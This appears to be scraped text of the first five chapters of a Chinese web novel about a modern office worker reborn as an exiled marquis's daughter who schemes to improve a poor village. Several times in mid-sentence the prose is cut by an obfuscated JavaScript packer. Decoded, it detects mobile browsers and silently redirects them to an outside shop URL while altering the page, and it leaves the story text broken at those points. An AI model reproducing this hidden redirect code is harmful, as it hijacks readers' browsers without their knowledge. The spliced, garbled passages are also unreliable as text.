《苏云传  从伪龙女到县主的逆袭》 1. 第 1 章 1、龙女出世 苏云睁开眼来，发现自己正躺在床上，眼睛看到的是破旧的古代房梁，耳边有压抑的哭声。轻轻一转头，只见一个身着古代服装的小女孩正埋头轻轻哭泣。苏云一时有点懵，怎么回事，自己不是加班晕倒了吗，怎么会在这里？不是应该在办公室或者医院里吗？不自主发出了一声轻哼。 小女孩听到声音，抬头一看，像见了鬼似的，猛地大叫一声，跳了起来，一边朝外面跑，一边大叫：“嬷嬷，小姐诈尸了！” 苏云一阵无语，正不解时，一阵撕裂般的头痛袭来，脑子里好像出现了一个个画面，貌似一个小女孩的生平。过了好一阵才缓和下来，头也不痛了，脑子里却有了别人的记忆。 “我不是晕倒，是猝死，并且穿越了！”苏云终于做出了正确的判断。 苏云是一个职场白领，项目科的小头目。最近公司同时接了两个大项目，人手不够，都压给了她，项目小组忙得昏天黑地，苏云更是天天脚不沾地，已经连续加班了大半个月，每天休息不到四个小时。好不容易熬到了收尾阶段，又连续加班了三天，几乎没有闭过眼。 已是凌晨四点过，苏云还在电脑面前勉强支撑，突然觉得有些头晕，心跳加快，于是闭上眼睛，揉了揉太阳穴。一看咖啡杯已经空了，想喝点咖啡提提神，不料刚站起来走了几步，眼前一黑，摔倒在地。 “我的两个大项目，都已经快结束了，奖励只怕也有三十万，这样就栽下树，让别人摘桃子了？这是什么事啊。”苏云心里暗骂。 苏云正想看看自己穿越成什么样，就听到屋外一阵急促的脚步声，感觉来了好多人。片刻，刚才跑出去的小女孩拉着嬷嬷站在门口，用手指了指屋里，却躲在嬷嬷身后，不敢进屋。嬷嬷也是一脸惊恐，看了看屋里，试探着喊了一声：“小姐，你还好吗？” 苏云脑子急速运转，已经知道自己的状况了，小女孩在坐船的时候，不小心掉进河里淹死了，现在是自己的灵魂附在了这个小女孩的身上，小女孩已经死去好一阵了，现在活过来，怎样做才不会让人惊恐呢？ 苏云轻轻叫了一声：“嬷嬷、娟儿，进来吧，我有些渴。” 王嬷嬷一听，小姐声音虽有气无力，略带沙哑，却很正常，悬起的心放下了一半，但还是不怎么敢进屋。苏云有轻轻咳了一下：“嬷嬷，我渴。” 王嬷嬷感觉没有异常，这才壮着胆子走进来：“小姐，你是有什么放不下的吗？我们都知道你苦，你早去投胎，找个好人家吧。” 苏云真是欲哭无泪，只得有说道：“嬷嬷，我没死，好好的呢。给我倒点水，我渴。” 嬷嬷这才有点相信了，近走两步，看苏云脸色有点泛白，但是也多少有些血色，这才放下心来。拿着旁边桌上装着水的碗，端到苏云面前。 苏云想要坐起来，却觉得浑身酸软无力，王嬷嬷大声说：“娟儿，快进来，扶着小姐。”门口的小女孩小心翼翼地跨进屋里，一边还迟疑的说：“小姐，你真的没有死吗？”苏云骂了一句：“你见过死人跟你说话吗？”娟儿这才紧走两步，看小姐还算正常，赶紧坐在床头，要扶小姐做起来喝水，触摸到小姐的身子，有温度，突然大哭起来：“小姐，你真的没死，真是太好了！”一时间哭得梨花带雨，眼泪鼻涕都出来了，反而忘了要扶小姐起来。 王嬷嬷训斥道：“别哭了，赶紧扶小姐起来！”“哦、哦，”娟儿一边擦着眼泪，一边来扶苏云，苏云笑道：“傻娟儿，别哭，你看脸都哭成花猫了，不好看了。”娟儿听了，噗哧一声笑了出来，只是笑声还是有些哭腔。 喝了一口水，苏云觉得无力，又躺下了，正要闭眼，突然想到什么，忙对嬷嬷说：“嬷嬷，庄上是不是有人去侯府报信了？赶快叫他们回来。”王嬷嬷双眼噙泪：“小姐，我已经跟庄头说了，央他去侯府报信。庄头说现在忙，等闲下来就派人去。你别着急，应该还没有走。我这就找庄头去。”转过头对娟儿说：“你在家好好伺候小姐，我去找庄头。” 苏云闭上眼，心想：这是什么小姐哦，死了连个报信的人都推三阻四的，人缘也忒差了吧。这样想着，便昏昏沉沉睡了过去。 一觉醒来，已是傍晚，见小丫头娟儿伏在桌上睡着，就叫醒了她。娟儿睡眼惺忪：“小姐醒了？”扶着小姐做起来，苏云道：“我饿了。”“好，嬷嬷已经做好了，就放在厨房里热着，我这就去拿。”说着就快步出去。不一会，端着一个托盘回来，王嬷嬷也跟着。 苏云起床，看着托盘里就一碗粥，一碟小菜，两个馒头，心理暗暗叹了一口气：侯府小姐就吃这个？不过并没有表现出来，好在确实饿狠了，吃起来也觉得很香的。 饭毕，苏云让娟儿收拾，然后问王嬷嬷：“报信的事情怎么样了？”王嬷嬷道：“回小姐话，下午我去找了庄头，庄头在家里，庄户刘老五正在跟庄头说，他没什么事，愿意去侯府跑一趟报信。我赶紧阻止了他们，说小姐只是被呛昏迷，已经醒过来，没事了，不用去报信了。” 苏云沉吟，这个刘老五，他是有印象的，皮肤黑黑的，干瘦干瘦的，平时就有些手脚不干净，还喜欢赌博。落水的时候，他和他的儿子也在船上。苏云道：“那庄头和刘老五听说我没事，当时是个什么情形？”王嬷嬷面色沉吟，想了想说：“庄头听了，好像有些意外，不过还有一些放松的样子，好像免了一桩祸事；不过这刘老五有些奇怪，似乎除了觉得意外，更多的像是失望。”“失望，这就说得过去了。”苏云道。 王嬷嬷年老成精，哪里不知道苏云的怀疑：“是啊，小姐今天坐船上，就在刘老五的儿子刘小山的旁边，刘老五在对面。刘小山耍水，掉到了河里，刘老五仓促中起身去救，把小姐和一边的几个庄客也带进了河里，才有了今天的祸事。事情合情合理，并无破绽，只是这究竟是带，还是推，大有讲究哦！” 苏云赞许的看了她一眼，道：“嬷嬷再想想，前两次遇险，是不是都有刘老五的影子？”王嬷嬷思索一会，道：“以前没注意，现在想来，的确像与他脱不了干系。”苏云道：“这事我们知道就行了，也别往外说。只是要防着此人一些。” 王嬷嬷道：“是啊，并无确证，只好暂时如此，待有机会再说。”心里却暗暗惊异：这哪像以前的小姐。以前的小姐，懵懂憨直，想事情直来直去，做事只顾自己，根本不考虑别人的感受。现在的小姐像换了一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏云道：“还能怎么办？就按照龙王说的，让这里的老百姓日子好过点吧。” 王嬷嬷环视了一下室内的摆设，道：“只是我们啥都没有，自己生活都吃紧，大夫人那边肯定指望不上，该怎么着手呢？” 苏云道：“这事当然不是一蹴而就的，得慢慢来。这样吧，你先把我这番遭遇悄悄传出去，这样既能解释我的苏醒，不留后患，又能为后面做事造些声势，以后的事，我要先斟酌斟酌。注意，这个消息不要大张旗鼓，悄悄跟熟悉的人悄悄说。” 王嬷嬷心领神会，微微一笑：“这个老身懂的。” 晚上，王嬷嬷悄悄找熟识的碎嘴老妇人聊天，故作神秘讲述了苏云的际遇，还叮嘱不要告诉别人。果不其然，第二天一早，整个柳河庄几十户庄户全都知道了。 说来也有些奇怪，一般河边上都会有河神庙或者镇河塔，这柳河庄在河边上，没有这些，却有一座龙王庙，也不知道是什么时候建造的，存在的时间也不短，只是柳河一直都比较温和，很少有泛滥成灾的时候，所以并不受重视，规模很小，也很破败，平时鲜有人去。 为了把戏做足，第二天一早，苏云让王嬷嬷准备了祭品，带上娟儿，一起去河边的龙王庙祭祀了一番。不少庄户也去看热闹。 2. 第 2 章 2、 柳河庄 柳河庄因柳河而得名，庄子有田土大约一千五百亩不到，虽有柳河流经，但多是坡地和沙土地，所以庄稼收成并不是很好，庄民也多是佃户，也有庄奴，还有一些流民，总共也就几十户人家，不到五百人口。柳河从庄前流过，河面其实也不宽，但水比较深，也比较急，想要涉水而过是不可能的。所以庄上做了一条船，让孤寡何老头在河边搭了一个窝棚，供给饮食，负责渡船。 庄子西边是一座小山，名唤猫儿山，并无主人，山上杂木荆棘丛生，庄民也试着开荒，但是土地很难养肥，产出甚少，也就放弃了。 苏云主仆三人自从六年前被赶出侯府，来到最贫瘠的柳河庄，好在庄头是个厚道人，并没有捧高踩低，为难她们，把她们安排住进了这个破旧的小院子里面。平时只有侯府给的二两银子月例，三个人的生活当然不能算富足，还好有王嬷嬷精心计算，再加上苏云亡母的一些嫁妆首饰，这些年过得虽不富裕，却也不曾缺吃穿。只是侯府小姐一贯骄奢惯了，看不起庄户们，说话做事颐指气使，俨然主子一般，虽无坏心，却让人十分反感，纷纷敬而远之，特别不受待见，所以就连死讯都没人愿意去报丧。 苏云带着王嬷嬷和娟儿，亲自绕着庄子转了一遍，又顺着柳河朝上游走了一段，只见土地南高北低，坡度较缓，土地贫瘠，庄户的房屋多是土坯房、茅草屋，田地里劳作的庄民衣衫褴褛，面带菜色。苏云是穿越而来，哪里见过这种景象，心里很不是滋味。一边走，一边在心里思索应该怎么入手改造柳河庄。却见杨家小子带着三四个小孩在河边石头中翻找什么，觉得好奇，于是走上前去看看。只见一个小孩兴奋大叫，我找到了一颗，边说边晃着自己的小手。 苏云过去，叫小孩把手里的东西给他看，小孩不敢不给，却又有点舍不得，磨磨蹭蹭不愿给。苏云笑笑，说：“给我看看吧，我又不要你的。”小孩摊开手掌，原来是一粒指头大小，红色的石头，半透明状，里面还有一些纹路。这不是玛瑙吗？ 苏云笑了笑，拿过来举起仔细看了看，通体红色，半透明状，里面还有缠丝纹，问杨家小子：“二狗，你知道这是什么吗？”二狗一下抢过石子，道：“不就是花石子吗？妹妹喜欢，我要送给她的。” 苏云笑笑：“我也喜欢，要不卖给我？两文钱一颗，你看怎样？” 二狗子眼睛一亮：“真的给我两文钱？”苏云回头，娟儿笑笑，掏出了两文钱递过去，二狗子看着两文钱，可能又想着妹妹，纠结得不行。苏云笑了：“你这颗卖给我，你还可以再找一颗给妹妹嘛。”二狗子一听有理，不再犹豫，抓过两文铜钱，把石子递给了苏云。然后一溜烟又朝河边奔去，仔细翻找起来。 其他小孩见状，也围了上了，纷纷把手里的石子摊开给苏云，一边期待的问：“小姐，这些你还要吗？”苏云看了看，选了几颗稍微大一点，色彩好看的，也每颗两文买了下来。卖出了石子的小孩欢天喜地，赶紧又冲向河边，没卖出石子的小孩，也着急跟过去，想找到大的石子卖给小姐。 正要往回走，猛听得一个小孩大哭起来，原来是他的手被一只螃蟹夹住了，小孩不知道该怎么办，有的要去扯，有的找石头要砸，忙做一团。苏云赶紧跑过去，分开众人，见一只大螃蟹钳住了小孩的手指，小孩一边哭，一边扯着螃蟹。苏云道：“不要扯，扯它会抓得更紧，会撕掉一块肉的。”小孩们听了，都吓得不敢动了。 苏云让小孩蹲下，正要让他把手放到水里，突然想起自己瞎编的龙王故事，此时不用，更待何时。苏云道：“别着急，我跟龙王说一声。”于是抬手合十，默默念了几句，然后才让小孩把手放到水里，不要动，再用一个草棍轻轻打了它几下，于是螃蟹匆匆放开夹子，跑到石头下面去了。小孩满脸泪痕，哽咽这说了声谢谢。 苏云沿着河边一直朝前走，一边问王嬷嬷：“这里螃蟹怎么这么多？没人吃吗？”王嬷嬷奇怪道：“这东西特别多，河边、田里都有，又没什么肉，还有腥味，真的可以吃吗？”苏云笑笑没再说话。 娟儿问：“小姐，你买河边的石头做什么？好看是好看，但是没什么用啊？”苏云举着石子，对着光仔细看看，自言自语：“色彩不错，还有变化，中间的缠丝花纹也很美。如果能再透一点，再大一点就更好了。”把石子给娟儿：“你先放好，以后会用得上的。” 王嬷嬷道：“今天小姐去转了一圈，是准备要做什么吗？”苏云道：“是啊，我们现在的日子过得太窘迫，我在想怎么才能把日子过得好一些？”王嬷嬷道：“大夫人每月就给那点月例，怎么可能好起来？”苏云道：“是啊，所以我们得靠自己。” 翌日，苏云带上王嬷嬷和娟儿又出门了，准备去猫儿山上看看。路上看见去地里的庄户，都微笑点头致意，这一举动，和以前高傲的贵女态度大为不同，倒把庄户们吓得有点不知所措了，讪讪的笑笑，赶紧跑开。 猫儿山并不大，上面基本没什么大树，都是灌木居多，山脚下有些是新开出的荒地，土质不好，上面的秧苗稀稀疏疏。一条小路直通到山顶，三人走走停停，到了山顶，山顶上有个草亭，站在亭子里面，极目眺望，前面还有几座山，都不高大，后面的庄子一览无余。只见地里的农人正在忙碌着，庄子里破旧的小屋前，一些小屁孩也三五成群在玩耍，若是忽略掉庄户生活的困顿，倒也是一片和美的景象。 正待在朝上走走，忽然瞥见不远处一块大石后面好像有个人影一晃，苏云也不声张，转头对王嬷嬷道：“都看过了，也都差不多，有些乏了，我们回去吧。”王嬷嬷应了声，扶着苏云往下走。忽听后面一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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苏云前世也算商业奇才，人情世故很清楚，对侯夫人的安排也能理解，留在侯府，指不定哪天就要出意外。离开侯府，说不定还好些，只是觉得侯夫人不应该过于苛待，于侯府说不上有仇恨，也并无半分感情，没有原身以前那种急切盼着回侯府的想法。回侯府，苏云以前没少看宫斗宅斗的影视剧，里面的关系错综复杂，斗得你死我活，最后一地鸡毛。大家好好的，当官的当官，挣钱的挣钱，一团和气不好吗？非要分个输赢高低，鱼死网破，何必呢？ 开局虽然不好，苏云只想凭借现有条件，一步一步多挣钱，打拼出一片天地，过上锦衣玉食的躺平生活。苏云当然知道，现在社会商人地位地下，若只是从商，没有保护伞，再多的财产，到头来只怕也是帮别人做嫁衣。所以侯府这个名头还是不能放弃的，以后肯定也是一大助力。只是现在几乎是白身，空有侯府小姐的名头，每月二两银子的生活费，勉强温饱，第一桶金从何而来，也着实有些伤脑子 3. 第 3 章 3、苏贵来访 不久，王嬷嬷和娟儿端着饭菜来了，在小桌上忙着。苏云问王嬷嬷：“嬷嬷，下个月的月例什么时候送过来？”王嬷嬷以为苏云担心用度，道：“回小姐话，按照惯例，这几天苏贵应该就会送过来。”“好，送月例的来了，不要让他着急走，我有事情要问问他。”“好的，小姐。”“另外，你去找两身旧一些的衣裙，到时我好穿。” 饭菜摆好，也就是一些米饭青菜，连肉食都没有。苏云心里吐槽，却并未做出什么不满的表情，见王嬷嬷和娟儿在一旁伺立，随口说了一句：“站着干嘛，坐下一起吃啊。”王嬷嬷和娟儿吓了一跳，心想以前小姐特别讲规矩，现在怎么变了？忙摆手：“小姐用膳，奴婢怎敢和小姐同桌？”苏云笑道：“无妨，你们站在旁边，我没法吃。以后在小院里，我们都一起吃饭。”王嬷嬷和娟儿几番推脱，直到苏云摆出小姐架子，才颤颤地坐了下来。 三日后，侯府二管家苏贵到庄子里，先去庄头家吃喝了一顿，然后又四周看了看，才略带酒意转到苏云的小院来。 苏贵是个四十左右的男子，面白微须，一看就是精明能干，惯于见风使舵。苏云虽不受侯府待见，但是到底主仆有别，管家也不敢造次，面子上还得应付过去，于是对苏云施了一礼：“见过大小姐。”苏云坐在主座，笑着说：“贵叔请坐，娟儿上茶。” 娟儿忙端着茶盏上来，苏云道：“贵叔从侯府过来，一路上着实辛苦了，请喝茶。”苏贵忙谢过。 苏贵仔细打量了一下苏云，只见苏云面带笑容，气质沉稳，完全不似以前的娇憨模样，心中不免有些诧异。又见苏云长相秀美，虽不施粉黛，却也显得面若桃李，不可方物，心叹侯府真的很出人才，无论男女，长相是真的没法挑。只是发间只有一根质地欠佳的玉簪，身上的衣服虽然是较好的绸缎，但颜色明显陈旧，不知穿了几年再修改的，貌似这几年长身体，衣角像是用别的布料拼接上去的。苏贵心里也不是滋味，心想，不管怎么样，虽然母亲不在了，毕竟是大小姐，饮食服饰如此寒酸，莫说和侯府几个锦衣玉食的小姐相比，就是连得脸的下人都不如，想想也是，二两银子还不够她们的零花钱，在这里却是主仆三人一个月的花销，心里不免有些怜惜。 苏云看苏贵在打量自己，知道他的心思，她就是要装可怜卖惨，博得一些同情。于是淡淡道：“家里一切可还好？”苏贵道：“都挺好。”苏云又问了老妇人、老爷和大夫人，苏贵都道很好。 苏云道：“想来贵叔也听说了，前些日子不小心跌入河里，好生惊险，吃了一些苦，倒也让我醒悟了一些道理。以前是我年纪小，不太懂事，对贵叔多有怠慢，还请谅解则个。”说着，起身福了一礼。 苏贵赶紧起身侧过，不敢受礼，战战兢兢还了一礼，口中惶恐道：“不敢、不敢，小姐言重了。” 苏云又重新坐下，又道：“此次落水，倒也遇到一桩奇事。”苏贵接话：“不知是何事？”于是苏云又把遇到龙王的事情胡诌了一遍。 听得苏贵将信将疑，却也不得不敷衍几句：“小姐贵人福气，才有这般际遇。” 苏云又道：“不知二哥哥现在怎么样了？几年未见，长相变化一定不少，若是见到了，怕也是认不出来了，怪是想念的。”二哥苏琦是庶出，年满十四，已是秀才，以前和苏云比较交好。苏贵道：“二公子平日里都在书房苦读，端的是谦谦君子，明年秋闱多半要下场了，侯爷也是看重得紧。”先头的大夫人嫡出大公子苏进，资质平庸，虽也读书却无甚建树，喜欢混迹于花场，整日惹是生非，却又非常在意名声，自诩风流，常常惹祸，让侯爷擦屁股，侯爷与夫人甚为头疼。 又说起不久京城要开诗会，这次是玲珑公主主办，想必到时候会十分热闹，侯府两位公子也在被邀请之列。 闲谈一阵，看看时辰已晚，天色渐暗，苏贵起身告辞，拿出二两银子，王嬷嬷接过。苏云道：“贵叔明日返程时，还烦过来一趟，我有几封信要带给侯府。”苏贵连声应诺，出了小院，自回庄头家里安歇。 娟儿拿来纸笔，分别写了四封信。一封给侯爷，先是客气问候了父亲，吐露思念之情，又说了龙王的奇遇，表示要报答龙王的救命之恩，在保证不减少每年给家里的收成的前提下，她想要柳河庄的管理权云云。 第二封信给了二哥，这个比较单纯，回忆了幼时在一起的快乐时光，希望二哥有空来柳河庄转转，当然 ，也讲了龙王的事情，请二哥侧面帮忙说服父亲。 第三封信则是老夫人一阵寒暄之后，也讲了龙王的奇遇，请老夫人帮忙。因为老妇人很是信佛，在府中说话又极有分量，所以苏云这封信写得相当用心。先是寒暄，述说儒慕之情，思念万千；又说到龙王奇遇，请求帮忙；最后就是期待重新回到祖母身边尽孝。完了，还不忘在信纸上洒了两滴茶水。 最后一封是给侯夫人，就是一般性的问候，祝福什么的。 翌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205733|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日，早饭毕，二管家苏贵过来，苏云把四封信交给了他，拜托他直接将信交给每个人，不要通过大夫人转手，至少要交了信之后再汇报给大夫人。苏贵见苏云态度诚恳，又楚楚可怜，再想这事苏云考虑周到，也没什么为难，于是就答应了。 王嬷嬷正要送苏贵出门，苏贵突然想起了什么，又转身对苏云道：“小姐，昨天在下启程之时，小姐娘家舅老爷正到侯府来拜访。”苏云很是意外，大喜，知道第一桶金的机会来了：“舅舅来了？可曾说过什么？”“我正出门，并未来得及与舅老爷攀谈。” 苏云道：“京城路遥，贵叔需早早赶路，本不应耽误贵叔，但许久不见舅舅，不知贵叔回府，能不能找到舅舅，请他来稍作探望？多年不见，甚是思念得紧。另外请转告舅舅，龙王赏给我几首曲子，还传我夏日制冰之术，若舅舅前来，外甥女将为舅舅奉上。”苏贵应承，苏云又道：“本小姐眼下困顿，无甚可与贵叔，贵叔辛苦，来日未必没有厚报。”苏贵忙道：“区区小事，举手之劳，怎敢图小姐厚报。所嘱之事，定当尽力为之，请小姐放宽心。” 苏云亲自送贵叔到河边，贵叔上船，何老头撑杆。苏贵作揖：“小姐请回，所言之事，定不负所托。”苏云福了一礼：“多谢贵叔，路上小心！” 回到小院，王嬷嬷百般感叹小姐的变化，做事稳妥。苏贵前来，首先卖惨，博得同情；继而搬出龙王救命之恩，说明想要管理权只是为了报恩，不是出自私心，占据道德制高点；怕父亲不会答应，又请老妇人和二哥当说客；得知舅舅来京城，想找舅舅助力，又怕舅舅不会过来（这么多年没来看望过，只是送过两次不多的银两物品），于是又以制冰秘法相诱，舅舅是生意人，焉能不动心？怕苏贵为难，让送信后再汇报大夫人；怕苏贵不尽心办事，又以厚报画了一个大饼；亲自送苏贵，给足了面子。小姐处事落落大方，明明有求于人，却又不卑不亢，动之以情，诱之以利。整个过程行云流水，环环相扣，真是滴水不漏。这哪里还是以前那个眼高于顶，憨直娇气的大小姐。看来见过一次龙王，小姐已经脱胎换骨，虽然只有十二岁，以后可不能再把她当成孩子来看待了。 苏云看王嬷嬷瞧着自己兀自发呆，笑了笑到：“嬷嬷怎么了？”王嬷嬷这才回神，赶紧掩饰过去。 苏云道：“许久没有出庄子了，明日我们去县城转转？”王嬷嬷诧异：“小姐去县城有事？”苏云道：“还需去购置一些物事，明日我们三人都去。” 4. 第 4 章 4、临清县城 柳河庄在临清县，离县城也不远，大约二十多里，而县城属京城管辖，离京城大约不到百里路，脚程快的，一天就能从柳河庄到京城。 主仆三人在街上闲逛，许是离京城不远，临清县城也是相当繁华，街面整齐干净，两边店铺鳞次栉比，小贩叫卖声此起彼伏，街上人来人往，好不热闹。 苏云素纱蒙面，第一次逛古代街市，感觉好不新奇。看看一片繁荣景象，不禁暗自叹息柳河庄为何还如此贫困，随便做点小生意都不会如此，父亲也没想过要怎么把庄子改造一下。三人走走停停，逛了好一阵，苏云的好奇心也慢慢淡了，这次想起自己要办的事情。首先去药铺买了几斤硝石，见对面有家装饰不错的首饰铺子，牌匾上的“揽胜楼”三个字，苍劲有力，于是就走进去。眉清目秀的小二一见有客人，衣着虽不华丽，却也不以貌取人，忙殷勤招呼：“客官，里面请。不知客官需要点什么首饰？” 王嬷嬷道：“不急，我们先看看。” 铺子里面装饰华丽，客人不少，几乎都是清一色的女子，各自忙着选看首饰，不时相互讨论，整个店铺叽叽喳喳，好不热闹。苏云也过去，只见货柜里各种首饰颇多，制作也算精致。小二察言观色，见苏云不是很满意，于是道：“如果客官没有选到心仪的，可上二楼看看。” 苏云知道，这里的首饰做工精细，镶金嵌银，不是自己目前能买的，也就推辞不去，对小二道：“小二哥，此次我们过来，并未带多少银两，怕是买不了首饰。不知贵店可否收石头？”小二道：“自然可以收，不知是什么样的石头？”苏云叫娟儿递上一个荷包，取出几颗两文钱一颗的石子。小二看了看，道：“客官请先去喝茶，我这就请掌柜看看。”说着，把苏云主仆请到旁边的屋里，端上一杯茶后，就急急出去了。 正喝茶间，只听外面一阵喧哗，一女子高声道：“凭什么让给你，这个手镯是我先看上的。”王嬷嬷看苏云好奇，于是走到门口张望，只见一个华服少女旁边，一个丫鬟装扮的少女，约莫十三四岁，正盛气凌人对另一个蓝衣少女叫道：“你先看上又怎么样，你又没说要买。我家小姐先掏的银子，就该给我家小姐。”一个小二面色焦急，劝那个蓝衣少女：“姑娘，本店还有好多不错的手镯，要不我们再看看别的？”蓝衣少女不依：“明明是我先看上的，凭什么让给她？你们店里没有先来后到的规矩吗？”小二满脸急色，悄悄对蓝衣姑娘耳语：“这是县令的千金，为了一个手镯，和县令千金发生龃龉，不值得！” 蓝衣姑娘愣了愣，自知一介商贾，惹不起官家大小姐，只得不甘心将手镯交给了小二，恨恨咬咬牙，满脸委屈带着丫头走了。 丫鬟装扮的少女笑了，轻啐一口，得意地对小二道：“什么东西，也敢跟我家小姐抢东西。给我家小姐包起来吧。”小二道：“好嘞。小姐要不再上二楼瞧瞧？今儿个进了好些个新的首饰，从京城过来的，应是现下最流行的式样，小姐要不看看？”华服少女满意的看看周围顾客的表情，好似很享受这种众人瞩目的仰望，高傲地点点头，小二就带着少女上楼去了。 楼下女子们悄悄议论起来。“这是朱县令的千金朱灵儿，县令大人宠得如珠似宝，看上什么东西，不到手是不会罢休的。近日好像在和京城一个官家贵公子议亲，也不知成了没有。”“那个蓝衣女孩，是县里首富刘员外家的侄女，家在鲁阳，近日来省亲，不认识县令千金，以致如此。” 见没甚可看了，王嬷嬷就回到屋里，轻轻把事情说了，苏云并未作声。 不多久，小二引着一个胖胖的中年男子进屋，道：“客官，这是本店的孙掌柜。”苏云赶紧起身，福了一礼：“孙掌柜好。”孙掌柜笑容满面，一团和气，忙作揖道：“小姐客气了。不知小姐带的是什么石子？”娟儿取了几颗给孙掌柜。孙掌柜认真打量着石头，又举起手，对着光线仔细看了看，然后道：“此石子色泽光亮，花纹也尚可，只是透光度算不得很好，若是制作成首饰，还需要费力打磨一番。”苏云道：“贵店可否收购？”孙掌柜到：“当然可以，敝店首饰各种档次的都有，这种石子勉强可以做成中档首饰。小姐有意售卖，请问出价几何？” 苏云前世是从营销做到总监位置的，当然知道谈判心理，于是微微一笑：“以前并未做过此等售卖，也不清楚行情，听得贵店最为公道，于是不揣冒昧，特来询价。掌柜若是诚心收购，不妨先开个价？”孙掌柜道：“小姐谬赞，不过本店开店几十年，的确童叟无欺。请问小姐有多少这种石子？”苏云道：“这次只是探路，带了十多颗，如果价格合理，还会有不少。”孙掌柜道：“这样啊，这种花石子，我们按照每颗来计价，每一颗的大小品相不同，价格可能不一样。如果都像这样的品相，每颗可以二十文。” 苏云哪里知道现在首饰的行情？前世少有接触这种材质的，珍珠玛瑙的都不是很喜欢，只喜欢名牌的钻石首饰。这世虽是大小姐，可惜被撵出侯府时年龄尚小，也不清楚具体价格。但听掌柜的话还比较实诚，心里就基本认可了。正踌躇间，又听掌柜道：“如果小姐后续还能提供这种品相的，我们可以再加五文。”苏云道：“看得出孙掌柜诚心收购，但这个石子虽不少，这种品相的却也不是很多，这一些都是上百颗里选出来的，大都比这小一些。”孙掌柜沉吟一会，咬咬牙道：“那就这样，每颗三十文，如果小姐觉得能接受，我们就成交；如果小姐觉得还少，那就只有请小姐另寻他处了。” 苏云看看娟儿，只见娟儿一个劲使眼色，再看看王嬷嬷，王嬷嬷也微微颔首，于是道：“既然掌柜如此诚心，我们成交。”掌柜道：“不知小姐仙乡何处？”苏云一听，知道掌柜想要套取产地，于是敷衍道：“奴家也是外地人，在此处亲戚处暂居，寻来花石子，自会派人来找掌柜。” 孙掌柜见问不出产地，只得作罢。苏云要求店家给铜钱一百多枚，其余换成碎银，孙掌柜二话没说，照办。 一出首饰铺，娟儿就叫了起来：“小姐，没想到两文钱一枚的石子，可以卖到三十文一颗。小姐，你真厉害！我们回去再多收点。” 王嬷嬷笑骂：“小妮子小声点，我们还在人家门口呢。”苏云笑笑，道：“这个价格其实不算高，如果制成耳坠，至少也得2两银子。我们目前并没有这个条件。只是人家还要打磨，还要配上金银，也是有成本的。大家都有赚，这才是生意的正理。”王嬷嬷听了心中一惊，小姐居然知道这些经商的道理，怕又是龙王告知的了。以前的小姐娇憨，什么事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏云道：“那就先来个咕噜肉、清蒸鱼，再来两个小菜，一个汤。贵店最出名的是什么酒？”小二道：“敝店的十里香是本县最出名的酒，客官要不尝尝？”苏云道：“好，那也要一小壶。”小二诺了一声，到厨房安排去了。不一会儿，菜上桌，份量还不小，娟儿好久没吃肉了，看到咕噜肉，不自觉咽着口水，觉得更饿了。苏云笑道：“还等什么，赶快动手吧。”娟儿才不好意思拿起筷子。 王嬷嬷年轻时也能喝点酒，见桌上有酒，也想喝点，于是给三人斟上。苏云前世是营销起家的，各种白酒都喝过，也很好奇这名扬临清的十里香是个什么味。举杯喝了一口，口感尚可，只是感觉有点像后世的啤酒，酒精度数很低，完全没有白酒醇厚的味道。王嬷嬷却一口干了，心满意足的样子，娟儿也试着抿了一下，赶紧吐了出来，一边吐，一边道：“这是什么酒，太辣了。我再也不喝酒了。”苏云和王嬷嬷一顿笑。 一顿饭吃得三人心满意足，算下来，王嬷嬷手里的银子居然还够。娟儿走出饭店，打着饱嗝问：“小姐，我们还要去哪里？”苏云道：“再转转，嬷嬷，你看还要再买点什么厨房用品，买点肉就可以回家了。”又去各个店铺买了诸如米面、油、调料，王嬷嬷扛了一大袋，娟儿手里也没空着，这才来到城门口，坐上庄子里的牛车回柳河庄。 5. 第 5 章 5、舅舅来访 苏云前世也算得上多才多艺，家境不错，从小就被逼着参加各种培训班，乐器、舞蹈、国画、书法，样样都学。只是后来对乐器更感兴趣，于是就专门学习琵琶，考过了十级，高考时还加了分的。自从上次落水，苏云就有了很强的危险意识，前世虽然练过跆拳道和射箭，但是原主身体太弱，年龄也太小，真正遇到危险，恐怕难以自保。于是每天早上起来跑跑跳跳半个时辰，权作锻炼。弓箭是没有的，她就想了一个法子，用扔石子来代替。《水浒传》中不是有一个没羽箭张清吗？那就是扔石子的。反正柳河边鹅卵石很多，不缺材料。 次日一早，锻炼之后，吃过早饭，苏云开始了硝石制冰的实验，虽然她知道原理，但是比例却不太清楚，于是先用一小盆水开始，逐渐尝试硝石用量，最终成功制出了冰。王嬷嬷和娟儿都看呆了。好在有龙王的故事打底，冰和水一家人，龙王传授这个技术，想来是说得过去的。 